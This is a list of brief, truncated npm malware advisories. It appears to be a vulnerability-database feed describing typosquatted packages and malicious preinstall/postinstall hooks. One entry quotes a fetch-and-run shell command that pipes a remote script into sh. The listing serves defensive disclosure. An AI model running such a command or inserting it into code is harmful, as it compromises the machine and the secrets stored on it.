MAL-2026-16447 Malicious code in caphsmgiwy (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2be9097447a7359110650f7119fc6b9265bba96bea6a4814d5534e6cf4a4bd59 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16450 Malicious code in kamafhbnowct (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 646021a6b47fafd23415f7357b91660f4ce18545fa5f9b2ba370842c632fb92d The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16456 Malicious code in tib2jcvowuyma (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3b7dad69d2e0593c1c42f8b0e905a0b002d30bccf9ea14d59f2da6ac313c1a48 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in xsjukcnv8low26 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c18a0eb3bfed72107b77ceb231f89637cb4efe0babbceae9e2bc84873fed6a3f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16452 Malicious code in mob4zchvuine (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f22c6a37f547c13e9444268b7cf9484c580ec5e15d5e6a1207bdcdfc7be2ff35 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16451 Malicious code in luftzxyuiwgbgsp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28fe33e3ef1fb00e811cf24d940bb469190f27f2759963838cedbdf4e5d4da09 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16460 Malicious code in xsjukcnv8low26 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c18a0eb3bfed72107b77ceb231f89637cb4efe0babbceae9e2bc84873fed6a3f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in tibcwmpoeafh (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8972beee1619a236a6811896c8f7c2bded94a428c0de8f6861e7ef956b63fb9a The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in luftzxyuiwgbgsp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28fe33e3ef1fb00e811cf24d940bb469190f27f2759963838cedbdf4e5d4da09 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16439 Malicious code in internallib_v550 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef32979e04c5e9caca40fb38a9c9ed2b9a75e015e47a580a538b95541012b648 Package internallibv550 is named to resemble an internal private library and is published to the public npm registry, matching the classic...

MAL-2026-16440 Malicious code in turbo-ws (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a25d8c29cbfb317e1c88568514a999618bdeee25b2716b76e3db5062e9dd7a67 package.json at line 43 declares the sole dependency 'node-net-pool' as an HTTPS tarball of the 'main' branch of an unrelated GitHub account...

Malicious code in turbo-ws (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a25d8c29cbfb317e1c88568514a999618bdeee25b2716b76e3db5062e9dd7a67 package.json at line 43 declares the sole dependency 'node-net-pool' as an HTTPS tarball of the 'main' branch of an unrelated GitHub account...

MAL-2026-16438 Malicious code in internallib_v497 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505 npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via...

Malicious code in catplatebarcodeparser (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 189a06b0d55d6dab795bcb9ba3a97aa855b2556a54e85e15adc9f5bf20399976 [email protected] declares preinstall and postinstall lifecycle scripts that execute scripts/run.js on npm install. That script reads...

MAL-2026-16434 Malicious code in catplatebarcodeparser (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 189a06b0d55d6dab795bcb9ba3a97aa855b2556a54e85e15adc9f5bf20399976 [email protected] declares preinstall and postinstall lifecycle scripts that execute scripts/run.js on npm install. That script reads...

MAL-2026-16435 Malicious code in catqrcodeconverter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3333f7b95e551ebf6ed266fb1de661b7419520ed3a922b05910ede132c7d6757 Package [email protected] wires both preinstall and postinstall lifecycle hooks in package.json to execute scripts/run.js. On npm install,...

MAL-2026-16436 Malicious code in efhthrthrthregerht (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4845639223c486cf2d33751ad950cea4c7f70401877929d25c36e7d07655d820 The package's postinstall hook runs index.js, which collects the installer's OS username, current working directory, hostname, and local IPv4 address...

MAL-2026-16433 Malicious code in @vitemirrorte/element-plus-vite-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d616b037ed0b4ebbb3a3ddf36963379ea00d4b5f8513641db05e7773dd2696c9 On npm install, package.json's postinstall runs postinstall-run.cjs which chains through bootstrapGradleLifecycle → activateDaemonBridge to materiali...

Malicious code in @wizloft/harness-cli-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f530bcd1820c18dbf9109139f6895ba89b5bec5b18ac374b85398844c0eabccf Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-16425 Malicious code in @wizloft/harness-commands (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 153aebb3135239cb82a30714bb331584ae8c75bb4808a75f5690c37b279e51b3 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...